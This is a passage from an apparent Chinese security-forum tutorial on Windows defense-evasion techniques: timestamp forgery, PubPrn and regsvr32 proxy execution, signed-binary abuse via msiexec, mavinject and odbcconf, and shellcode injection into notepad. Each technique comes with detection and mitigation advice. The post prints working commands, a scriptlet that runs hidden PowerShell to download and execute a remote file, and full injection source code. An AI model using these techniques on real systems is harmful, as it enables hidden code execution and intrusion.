  44.     CloseHandle(kernel32_handle);
  45.   }
  46.   return ret;
  47. }

  48. int _tmain(int argc, _TCHAR* argv[])
  49. {
  50.   change_time_usekernel32(_TEXT("test.txt"));

  51.   return 0;
  52. }
复制代码
Kernel32的时间戳如下:
修改前后的文件时间如下:
如果将恶意文件放在系统目录,并伪装成Kernel32的时间戳,对于部分人工分析取证手段会具有一定迷惑性。
检查及限制方案
    1、 可以使用文件修改监视工具来监视文件的时间戳更改情况,并记录日志以便后续进行分析和筛查。
    2、 这种攻击技术无法通过预防性控制来缓解,因为它基于滥用系统功能。
参考链接

6、PubPrn代理脚本代码执行
原理及代码介绍
        随着恶意的脚本文件不断增加,在某些系统环境中,管理人员可能使用白名单来阻止未签名的Windows Script Host(WSH)脚本文件运行,但是通过将恶意代码“注入”到Microsoft签名的脚本中,使用受信任证书签名的脚本代理执行恶意脚本文件,从而可以绕过系统中的签名验证和部分杀软的应用程序白名单验证绕过。
        Windows系统中存在的PubPrn.vbs由Microsoft签名,恶意利用该脚本可以代理远程脚本文件的执行,以突破部分安全限制。利用的命令如下:
  1. pubprn.vbs 127.0.0.1 script:http://127.0.0.1/sc.sct
复制代码
Pubprn脚本的位置在system32的子目录中,本身是用于打印相关的工作。


在其脚本中,68行的位置使用了来自参数中的内容,将该内容传递给GetObject()函数, 鉴于此使用者可以在此处指定网络文件以执行自定义的脚本文件。Pubprn的利用只是一个样例,安全人员以此为基础可以了解此类内置脚本的利用方法,以便在安全分析过程识破攻击者的意图。



以下为打开计算器的脚本文件

执行该命令,脚本得以执行弹出计算器
检查及限制方案
检查方法:
       1、审查和监视脚本执行中的命令行参数,必要的时候审查参数和脚本执行流程,已确定是否被恶意利用。
缓解措施:
        1、 在特定环境中,对于不必要的签名脚本,将系统配置为阻止脚本执行的应用程序白名单,以防止对手潜在的滥用。
参考链接

7、签名二进制程序代理执行
原理及代码介绍
        使用受信任的数字证书签名的二进制文件可以在受数字签名验证保护的Windows系统上执行,Windows中默认安装了一些由Microsoft签名的二进制文件,可用于代理其他文件的执行。攻击者可能会滥用这些行为来执行恶意文件,从而可以绕过操作系统中的杀毒软件应用程序白名单检测及操作系统的数字签名验证
Msiexec.exe
        misexec.exe 是Windows Installer 的命令行程序,该工具主要用于执行后缀为.msi的软件安装程序,攻击者可以使用msiexec.exe来启动恶意的msi文件以执行恶意代码,可以使用msiexec来启动本地或者网络上可访问的MSI文件,另外msiexec.exe也可以用于执行DLL。
         攻击者常用的Msiexec.exe 命令行参数如下:
  1. msiexec.exe /q /i "C:\path\to\file.msi"

  2. •msiexec.exe /q /i http[:]//site[.]com/file.msi

  3. •msiexec.exe /y "C:\path\to\file.dll"
复制代码
为了演示滥用msiexec.exe发起攻击, 介绍一种msi文件的构建方法。通过使用Advanced Installer 工具,可以快速构建MSI文件,并执行脚本代码、可执行程序或者是调用动态链接库函数。打开Advanced Installer创建一个simple类型的安装工程,并在Custom Actions页面加入自定义的操作。

可以按需要添加希望执行的操作及条件,其中支持的Action非常丰富,下面以运行Powershell脚本为例,让msi文件在运行之初,执行一段Powershell脚本。

编译生成MSI文件后,通过Msiexec调用该MSI文件执行情况如下。PowerShell代码在MSI文件加载之初得以执行。



Mavinject.exe
        Mavinject是Windows上的一个合法组件,使用该程序可以向正在运行的进程中注入任意代码执行,由于它是Windows上的常见组件且具有数字签名,常被攻击者恶意使用以隐蔽执行代码。通过如下的方式调用Mavinject,可以将DLL注入到运行的进程中:
  1. MavInject.exe <PID> /INJECTRUNNING <PATH DLL>
复制代码
Odbcconf文件
        Odbcconf.exe是Windows系统默认自带的工具程序,可以用于配置开放式数据库(OBDC)驱动程序和数据源名称。使用odbcconf工具可以加载DLL并执行,其命令行参数如下:
  1. odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
复制代码
检查及限制方案        
1、 监视可能用于代理恶意代码执行的已签名二进制文件的进程和命令行参数,例如msiexec.exe从网上下载MSI文件并执行,可能表明存在异常。将各种活动与其他可疑行为相关联,以减少可能由于用户和管理员的良性使用而导致的误报。
2、 如用户环境中更需要使用这些二进制文件,可以将它们的执行限制在需要使用它们的特权账户或者租中,以减少被恶意滥用的机会。
参考链接

8、Regsvr32代理代码执行
原理及代码介绍
        Regsvr32是Windows系统中的一个命令行程序,用于在Windows系统上对象链接和嵌入控件的注册及卸载工作,而攻击者同样可以利用regsvr32来执行任意的二进制文件。
         攻击者会利用regsvr32来代理代码执行,以避免触发安全工具的提示,regsvr32由Microsoft签名的文件,由于普通程序通常使用regsvr32进行正常操作,所以安全工具可能无法有效的区分regsvr32进程的执行以及由regsvr32加载的模块是否被恶意使用。
         通过Regsvr加载系统中的scrobj.dll,可以依靠其提供的com接口解析并执行sct脚本,从而绕过进程白名单限制,而执行恶意代码。然后Regsvr具有网络和代理功能,它允许具有普通特权的用户下载并执行远程服务器上托管的脚本。所有这些操作都是通过与操作系统一起安装的已签名Microsoft二进制文件完成的。由于脚本是远程托管的,并且由合法的Microsoft二进制文件运行,因此可以绕过一些因将regsvr列入白名单的安全软件的许多常规检测和阻止机制。这种技术的变种通常被称为“Squiblydoo”攻击,并已在实际攻击行动中使用。
         Squiblydoo利用二进制regsvr32来下载一个XML文件,该文件包含用于在受害机器上执行代码的script。攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中,以进行任何类型的攻击。其调用命令如下:
  1. regsvr32.exe /s /i:http://c2/script.sct scrobj.dll
复制代码
命令行中的sct文件(实际上是XML文件)中具有一个注册标记,其中可以引用VBScript或Jscript代码,该文件可能是任意后缀名,不一定必须是.sct,下面的示例代码会调用计算器并执行。
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.   progid="TESTING"
  5.   classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  6.   <script language="JScript">
  7.     <![CDATA[
  8.       var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
  9.     ]]>
  10. </script>
  11. </registration>
  12. </scriptlet>
复制代码
前面介绍过了还可以引用网络脚本并解析执行,将其中的JS代码改为如下,通过JS启动powershell,传递命令下载并执行程序.
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.   progid="DownAndExec"
  5.   classid="{A1112231-0000-0000-3000-000DA00DABFC}" >
  6.   <script language="JScript">
  7.     <![CDATA[
  8.       var ws = new ActiveXObject("WScript.Shell");
  9.     var ps = "powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command ";
  10.     var dn = "$down = New-Object System.Net.WebClient;\
  11.           $url = 'http://192.168.xx.xx/baidu.exe';\
  12.           $file = '%TMP%\\baidu.exe';$down.DownloadFile($url,$file);\
  13.           $exec = New-Object -com shell.application;$exec.shellexecute($file);\
  14.           exit;";
  15.    
  16.     ws.Exec(ps + dn);
  17.     ]]>
  18. </script>
  19. </registration>
  20. </scriptlet>
复制代码
传递如下的命令,在本地搭建http服务,尝试通过网络下载该脚本并执行
  1. regsvr32.exe /s /i:http://192.168.xx.xx/download.txt scrobj.dll
复制代码
最后成功下载并执行该脚本,并进一步下载并执行baidu.exe,该程序即为Dbgview
检查及限制方案
        使用进程监视工具监视regsvr32的执行和参数,将regsvr32的最近调用与已知良好参数和加载文件的记录进行比较,已确定是否存在异常和潜在的对抗活动。
参考链接

9、进程注入
原理及代码介绍
        进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法,在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测。
Windows
        有多种方法可以将代码注入正在运行的进程,在Windows系统中的实现方式主要包括以下列出的几类:
         动态链接库(DLL)注入:在目标进程的内存中写入恶意DLL的路径,然后通过创建远程线程来调用执行。
         可执行代码(Shellcode)注入:将恶意代码直接写入目标进程(在磁盘上不存储文件),然后通过创建远程线程或者其他方式来触发代码执行。
         线程执行劫持:挂起目标进程的执行线程,将恶意代码或者DLL路径写入到目标进程的线程中,然后恢复线程执行。此方法与僵尸进程相似。
         异步过程调用(APC:将恶意代码附加到目标进程的APC队列中,当线程进入可改变状态时,将执行排队的APC函数。APC注入的一种变体是,创建一个暂停的进程,在该进程中,恶意代码可以通过APC在该进程的入口点之前获得执行机会。
         线程本地存储(TLS):TLS回调注入涉及在可执行(PE)文件中操纵指针,以达到在执行文件的原有入口点之前首先执行恶意代码,以达到注入代码执行的目的。
Mac及Linux
Linux和OS X/macos系统中的注入方式大致包括:        
        LD_PRELOAD、LD_LIBRARY_PATH(Linux)、DYLD_INSERT_LIBRARIES(Mac OS X)环境变量或dlfcn应用程序编程接口(API)可用于在程序的运行过程过程中动态加载库(共享库)。
        Ptrace系统调用 可用于附加到正在运行的进程并在运行时对其进行修改。
        / proc / [pid] / mem提供对进程内存的访问,并可用于向进程读取/写入任意数据。由于其复杂性,该技术非常罕见。
        VDSO劫持:通过操纵从linux-vdso.so共享库映射的代码存根,对ELF二进制文件执行运行时注入。
        恶意软件通常利用进程注入来访问系统资源,从而可以对持久性和系统环境进行修改,使用命名管道或者是其他的进程间通讯(IPC)机制作为通讯通道,更复杂的样本可以执行多个过程注入以分割模块并进一步逃避检测。
        下面以Windows为例,演示一下通过创建远程线程而进行可执行代码注入的操作,首先还是将可执行文件中的代码以16进制值拷贝取出
如下的注入操作首先创建了记事本进程,然后在该进程中申请空间并写入代码,最后创建远程线程执行,完毕后结束进程并退出。
  1. unsigned char data[304] = {
  2.   0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
  3.   0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
  4.   0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
  5.   0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
  6.   0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
  7.   0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
  8.   0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
  9.   0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
  10.   0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
  11.   0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
  12.   0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
  13.   0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
  14.   0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
  15.   0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
  16.   0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
  17.   0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
  18.   0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
  19.   0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
  20.   0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
  21. };


  22. bool inject_to_notepad()
  23. {
  24.   bool ret = false;

  25.   PBYTE sc;
  26.   DWORD cb;
  27.   HANDLE nthd;
  28.   STARTUPINFO si;
  29.   PROCESS_INFORMATION pi;

  30.   memset(&si, 0, sizeof(si));
  31.   memset(&pi, 0, sizeof(pi));

  32.   sc = NULL;
  33.   si.cb = sizeof(si);
  34.   
  35.   if(!CreateProcess(_TEXT("c:\\windows\\system32\\notepad.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
  36.   {
  37.     goto SAFE_EXIT;
  38.   };
  39.   
  40.   sc = (PBYTE)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  41.   if (sc == NULL)
  42.   {
  43.     goto SAFE_EXIT;
  44.   }  

  45.   if (!WriteProcessMemory(pi.hProcess, sc, data, sizeof(data)/sizeof(char), &cb) || cb != sizeof(data)/sizeof(char))
  46.   {
  47.     goto SAFE_EXIT;
  48.   }

  49.   nthd = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sc, NULL, NULL, NULL);
  50.   if (nthd == NULL)
  51.   {
  52.     goto SAFE_EXIT;
  53.   }

  54.   WaitForSingleObject(nthd,  INFINITE);
  55.   ret = true;

  56. SAFE_EXIT:
  57.   if (sc != NULL)
  58.   {
  59.     VirtualFreeEx(pi.hProcess, sc, 0, MEM_RELEASE);
  60.   }

  61.   if (pi.hProcess != NULL)
  62.   {
  63.     TerminateProcess(pi.hProcess, 0);
  64.     CloseHandle(pi.hProcess);
  65.   }

  66.   return ret;
  67. }

  68. int _tmain(int argc, _TCHAR* argv[])
  69. {
  70.   inject_to_notepad();

  71.   return 0;
  72. }
复制代码
执行后情况如下:
通过Process Hacker检查一下记事本的线程,发现我们远程创建的线程已经执行,执行了MessageBox()函数
检查及限制方案检查方法:
        1、 通常为完成进程注入都需要执行一系列操作,放在程序中体现便是需要调用一系列相关API,在Windows系统中可以通过监控程序调用的API序列确定是否有进程注入相关操作。如CreateRemoteThread,SuspendThread / SetThreadContext / ResumeThread,QueueUserAPC / NtQueueApcThread之类的API调用可用于修改另一个进程内的内存(如WriteProcessMemory)的API调用。
        2、 在Linux系统中监视特定的调用,如(例如ptrace系统调用,LD_PRELOAD环境变量的使用或dlfcn动态链接API调用),由于其专门的性质,不应生成大量数据,并且可以是检测过程注入的有效方法。
        3、 监视进程和命令行参数以了解在代码注入发生之前或之后可以执行的操作,并将信息与相关事件信息相关联。还可以使用PowerShell和诸如PowerSploit 之类的工具执行代码注入,因此可能需要其他PowerShell监视才能涵盖此行为的已知实现。
缓解方案:
        进程注入属于滥用系统功能导致的安全问题
        1、 终端行为防御:可以安装HIPS软件,监测注入过程中调用的常见API序列,来识别并阻止某些类型的进程注入操作。
        2、 特权账户管理:针对Linux内核系统,通过仅限制特权用户使用ptrace来利用Yama减轻基于ptrace的进程注入。其他缓解措施包括部署安全内核模块,这些模块提供高级访问控制和流程限制,例如SELinux,grsecurity和AppAmour。
参考链接









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:32 , Processed in 0.017750 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表